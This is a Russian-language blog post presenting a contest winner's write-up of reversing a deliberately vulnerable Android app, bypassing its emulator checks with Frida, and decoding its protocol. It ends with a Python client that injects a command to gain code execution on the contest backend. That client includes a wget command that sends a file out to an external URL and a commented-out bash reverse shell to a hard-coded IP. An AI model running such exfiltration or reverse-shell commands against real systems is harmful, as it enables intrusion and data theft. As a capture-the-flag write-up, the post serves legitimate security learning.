Привет! Меня зовут Илья Сафронов, я руковожу направлением информационной безопасности Delivery Club. Третьего дня мы запустили конкурс по реверсу и поиску уязвимости в тестовом Android-приложении. Целью было выполнение кода на бэкенде (RCE). За время конкурса APK скачали более 400 раз, а сломали всего два раза, Hall of Fame можно посмотреть на странице скачивания.
Теперь настало время рассказать, в чём заключалась задача и как её решать. Один из победителей — @D3fl4t3 — прислал нам отличный отчёт, его мы и представляем вашему вниманию.
Первичный осмотр
Перед нами Android-приложение. При запуске в эмуляторе предлагается нажать на кнопку, но при нажатии приложение вылетает. Внутри Java-части приложения тоже ничего интересного: кнопка вызывает нативный метод collectMetrics
и в зависимости от возвращаемого значения выводит одно из двух сообщений.
Нативная библиотека
Библиотека хорошо обфусцирована техниками Control Flow Flattening, Opaque Predicate и многими другими. Идём в JNI_OnLoad
, сразу проставляем тип JNIEnv
* везде, где есть indirect call'ы
. Из интересного там есть только RegisterNatives, поэтому идём сразу в collectMetrics
. Очевидно, что там должны быть проверки на эмулятор, но где же они?
Ищем проверки окружения
Да, определённо это какие-то проверки на эмулятор. Так как из кода ничего не понятно, а писать деобфускатор пока что не хочется, набрасываем первый вариант скрипта для DBI-фреймворка Frida:
var hooked = false;
Java.perform(function() {
let MainActivity_a = Java.use("com.example.dc_challenge.MainActivity$a");
MainActivity_a.onClick.implementation = function (view) {
if (!hooked) {
disarmBuildChecks();
hooked = true;
}
this.onClick(view);
}
});
function disarmBuildChecks() {
var config = {
BOARD: "prada",
BOOTLOADER: "unknown",
BRAND: "Xiaomi",
DEVICE: "prada",
DISPLAY: "MMB29M",
FINGERPRINT: "Xiaomi/prada/prada:6.0.1/MMB29M/v8.0.3.0.0.MCECNDG:user/release-keys",
HARDWARE: "qcom",
HOST: "c3-miui-ota-bd20",
ID: "MMB29M",
MANUFACTURER: "Xiaomi",
MODEL: "Redmi 4",
PRODUCT: "prada",
RADIO: "unknown",
SERIAL: "17fc681d",
TAGS: "release-keys",
TIME: 1476359370000,
TYPE: "user",
USER: "builder",
};
var Build = Java.use('android.os.Build');
Object.keys(config).map(function (key) {
Build[key].value = config[key];
});
}
Пробуем нажать кнопку под фридой — и снова падение. Определённо, проверками build
-параметров приложение не ограничивается. Копаем дальше.
В списке импортов ну очень много разных функций, и наиболее интересными видятся функции работы со строками. Возможно, какие-то из них используются для проверок окружения.
Пишем вспомогательную функцию для быстрой трассировки функций работы со строками:
function hook(name, count) {
Interceptor.attach(Module.findExportByName(«libc.so», name), {
onEnter: function(args) {
let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]);
let arg = [];
for (var i = 0; i < count; i++){
try {
arg.push(Memory.readCString(args[i]));
} catch (e) {}
}
if (bt.moduleName.indexOf(«libchallenge.so») !== -1) {
console.log(name + '(»' + arg.join('», «') + '») ' + bt);
}
}
});
}
И трейсим всё, что нашли в импортах:
function makeHooks() {
hook(«strcmp», 2);
hook(«strncmp», 2);
hook(«strncpy», 2);
hook(«strcat», 2);
hook(«strchr», 1);
hook(«strcspn», 2);
hook(«strcpy», 2);
hook(«strlen», 1);
hook(«strcasecmp», 2);
hook(«snprintf», 8);
hook(«strdup», 1);
hook(«strncasecmp», 2);
hook(«strrchr», 1);
hook(«strspn», 2);
hook(«strstr», 2);
hook(«strtol», 1);
hook(«strtoul», 1);
}
Функция sprintf
, судя по всему, используется для форматирования пути к файлам в папке /proc/self/fd:
snprintf("", "/proc/self/fd/%s", ".", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5
snprintf("", "/proc/self/fd/%s", "..", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5
snprintf("", "/proc/self/fd/%s", "0", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5
snprintf("", "/proc/self/fd/%s", "1", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5
snprintf("", "/proc/self/fd/%s", "2", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5
Могут ли эти файлы компрометировать наш эмулятор? Давайте посмотрим:
generic_x86_64:/ # ls -la /proc/$(pidof
com.example.dc_challenge)/fd
total 0
dr-x------ 2 u0_a130 u0_a130 0 2021-10-16 16:59 .
dr-xr-xr-x 9 u0_a130 u0_a130 0 2021-10-16 16:59 ..
lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 0 -> /dev/null
lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 1 -> /dev/null
lr-x------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 10 -> /apex/com.android.art/javalib/bouncycastle.jar
...
lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 62 -> /dev/goldfish_pipe
lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 63 -> /dev/goldfish_sync
lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 65 -> /dev/goldfish_pipe
Определённо, файлы с названием "goldfish" относятся к эмулятору, так что нативная библиотека может находить их и крашить приложение. Возиться с хуком snprintf
не очень хочется, поэтому сходим на адрес 0x96ee5
в IDA Pro и посмотрим, что ещё можно хукнуть.
Функция lstat
выглядит отличным кандидатом на хук:
function disarmGoldfishCheck() {
Interceptor.attach(Module.findExportByName(«libc.so», «lstat»), {
onEnter: function (args) {
let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]);
if (bt.moduleName.indexOf(«libchallenge.so») !== -1) {
let filename = Memory.readCString(args[0]);
console.log(«lstat(» + filename + «)»);
if (filename.indexOf(»/proc/self/fd») !== -1) {
args[0].writeU8(0);
}
}
}
});
}
После этого всё наконец-то стало работать, и кнопка при нажатии говорит, что мы всё делаем правильно.
Протокол
В описании задания явно подразумевается, что есть некий бэкенд, с которым общается приложение. Огромное количество функций из OpenSSL намекает, что это происходит также в нативной библиотеке. Просматривая имена один за одним, мой взгляд упал на SSL_write
. Исходя из названия, эта функция позволяет что-то писать по TLS, при этом она используется в какой-то функции 0x92a70
(все адреса приведены для архитектуры x86_64). Эта функция делает совсем немного работы, суть которой ясна даже с обфусцированным Control Flow: она подключается к серверу, отправляет payload по TLS и отключается.
Дальше делаем всё то же самое, что и всегда: пишем хук и смотрим, как эта функция вызывается.
function toHexString(addr, length) {
let result = '';
for (var i = 0; i < length; i++) {
result += ('0' + (addr.add(i).readU8() & 0xFF).toString(16)).slice(-2);
}
return result;
}
function makeTlsHook() {
Interceptor.attach(Module.findBaseAddress(«libchallenge.so»).add(0x92a70), {
onEnter: function(args) {
console.log(toHexString(args[0], uint64(args[1].toString())));
}
})
}
Можно использовать встроенный hexdump, но будет проблематично потом перегонять его вывод в Python.
Вывод, уже частично раздекоженный Python’ом:
b'TRYHRDER\n\x00\xa3\x00\x00\x00\x00\x00\xe2;+^\xea;;^\x82;&^\x87;%^\x89;&^\xb2;%^\xb4;+^\xbc;+^\xa4;%^\xae;(^U;7^I;+^S<H?\xd2;#^\xb1TNp\xb7CB3\xa2WFp\xb6X|=\xbaZO2\xb7UD;\xa2IB:\xb3cJ?\xbdVJ.\xa0ZG?\x9fval\xebvq;\xb6VJ\xe7\rq;\xb6VJ\xe7\r[f\xe4d\x15j\xb6ZW;\xf2\x19\x08{\x9c\x19#3.\xaais\x1e\xa9mu\xef\x01\x9f\xdd^g\xa3\x156\xd2\x03\xdc\xd5PB^\xd2;#\xd2;#^'
Хотелось, конечно, сразу увидеть читаемый текст, однако в протоколе используется шифрование, поэтому следующим шагом нам нужно будет его расковырять.
Шифрование
Во-первых, возьмём сразу несколько payload’ов и сравним их между собой. Сразу становится понятно, что незашифрованный заголовок занимает первые 16 байт сообщения.
Во-вторых, если применить метод пристального взгляда, в шифротексте вырисовываются паттерны:
54525948524445520a00a30000000000 # заголовок (16 байт)
e23b2b5e
ea3b3b5e
823b265e
873b255e
893b265e
b23b255e
b43b2b5e
bc3b2b5e
a43b255e
ae3b285e
553b375e
493b2b5e
533c483fd23b235eb1544e70b7434233a2574670b6587c3dba5a4f32b755443ba249423ab3634a3fbd564a2ea05a473f9f76616ceb76713bb6564a7ee70d713bb6564a7ee70d5b66e464156ab65a573bf219087b9c1923332eaa69731ea96d75ef019fdd5e67a31536d203dcd550425ed23b23d23b235e
Интуиция подсказывает, что в протоколе есть 32-битные поля в little endian, которые XORятся каким-то неприлично маленьким ключом размером не более 4 байт (последние «5e» в каждой строке — это старшие байты незначительно отличающихся друг от друга чисел).
На этом моменте, в принципе, можно было уже подобрать ключ просто по шифротексту, однако я вспомнил, что в collectMetrics
используется функция arc4random_buf
, которая, скорее всего, и генерирует этот 4-байтный случайный ключ. Наверное, вы уже догадываетесь, к чему всё идёт.
function randHook() {
Interceptor.attach(Module.findExportByName(«libc.so», «arc4random_buf»), {
onEnter: function (args) {
this.buf = args[0];
let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]);
if (bt.moduleName.indexOf(«libchallenge.so») !== -1) {
console.log(«arc4random_buf « + args[0] + « « + args[1] + « « + bt)
}
},
onLeave: function (ret) {
let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]);
if (bt.moduleName.indexOf(«libchallenge.so») !== -1) {
this.buf.writeU32(0);
}
}
});
}
Так как ключ нулевой, шифротекст теперь совпадает с открытым текстом и читать его намного приятнее:
b'TRYHRDER\n\x00\xa1\x00\x00\x00\x00\x000\x00\x08\x008\x00\x18\x00P\x00\x05\x00U\x00\x06\x00[\x00\x05\x00`\x00\x06\x00f\x00\x07\x00m\x00\x07\x00t\x00\x06\x00z\x00\x0b\x00\x85\x00\x14\x00\x99\x00\x08\x00i\xd3ja\x00\x00\x00\x00com.example.dc_challengepradaXiaomipradaMMB29MRedmi 4Redmi 4x86_64date "+%N"\x00m\xfc\x91J-\xcc\x92N+=:\xbc\x83\x8c\\\x80K\xe4\xe9 j\xd3ja\x00\x00\x00\x00\x00\x00\x00\x00'
Что мы имеем в итоге:
16-байтный заголовок.
12 пар чисел типа short, содержащих смещения и длины хранимых строк.
Сами строки без разделителей.
Пишем свой клиент
В результате многочисленных экспериментов я выяснил, что передаётся в сообщении:
Имя пакета приложения.
Некоторые поля из
android.os.Build
.Архитектура.
Строка date
"+%N»\\x00
.Какое-то статичное 20-байтное значение, скорее всего, хеш сертификата для проверки, было ли приложение пропатчено и перепаковано.
Время начала и конца формирования сообщения (в формате Unix Timestamp с точностью до секунд).
Дальше всё проще некуда: заменяем строку с "date" на wget --post-data "$(cat /opt/readme.txt)" ...
и получаем флаг.
#!/usr/bin/env python3
import struct, ssl, socket, time
def xor(a, b):
return bytes([x^y for x, y in zip(bytearray(a),
bytearray(b))])
def dump_buffer(buffer):
print(buffer[:16])
key = buffer[-4:]
buffer = buffer[:16] + xor(buffer[16:], key * 1000)
numbers = []
for i in range(16, 64, 4):
numbers.append((struct.unpack('<H', buffer[i:i+2]) [0],
struct.unpack('<H', buffer[i+2:i+4]) [0]))
for addr, length in numbers:
print(buffer[16+addr:16+addr+length])
print(buffer[64:])
def make_buffer():
data = [
struct.pack("<Q",int(time.time())),
b'com.example.dc_challenge',
b'prada',
b'Xiaomi',
b'prada',
b'MMB29M',
b'Redmi 56',
b'Redmi 56',
b'x86_64',
b'wget --post-data «$(cat /opt/readme.txt)» https://putsreq.com/H9bjgvqaXTSEuBiJLYA5', #b'/bin/bash -i >& /dev/tcp/130.61.246.58/1337 0>&1',
b'm\xfc\x91J-\xcc\x92N+=:\xbc\x83\x8c\\x80K\xe4\xe9 ',
struct.pack("<Q", int (time.time ( )) + 1
]
body = bytearray()
offset = 0
for piece in data:
body += struct.pack("<H", len (data) * 4 + offset)
body += struct.pack("<H", len (piece))
offset += len (piece)
for piece in data:
body += piece
header = b"TRYHRDER\n\x00" + struct.pack("<H", len(body)) + b "\x00\x00\x00\x00"
key = b'\x00\x00\x00\x00'
return header + xor(body, key * 1000) + key
def do_ssl(buffer):
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((«146.185.209.143», 7821)) as sock:
with context.wrap_socket(sock,
server_hostname="146.185.209.143") as ssock:
print(ssock.version())
ssock.send(buffer)
buffer = make_buffer()
dump_buffer(buffer)
do_ssl(buffer)
Вывод
По результатам конкурса мы увидели, что подобные задачи вызывают интерес. Сложность именно этой была выше среднего, в следующий раз мы это учтём и пересмотрим формат, чтобы он был ближе большему числу людей. И ещё добавим новых призов. Чтобы не пропустить наши новые посты, подписывайтесь на блог. А за то, что вы такие молодцы и дочитали до конца, закажите себе кофе навынос через приложение Delivery Club.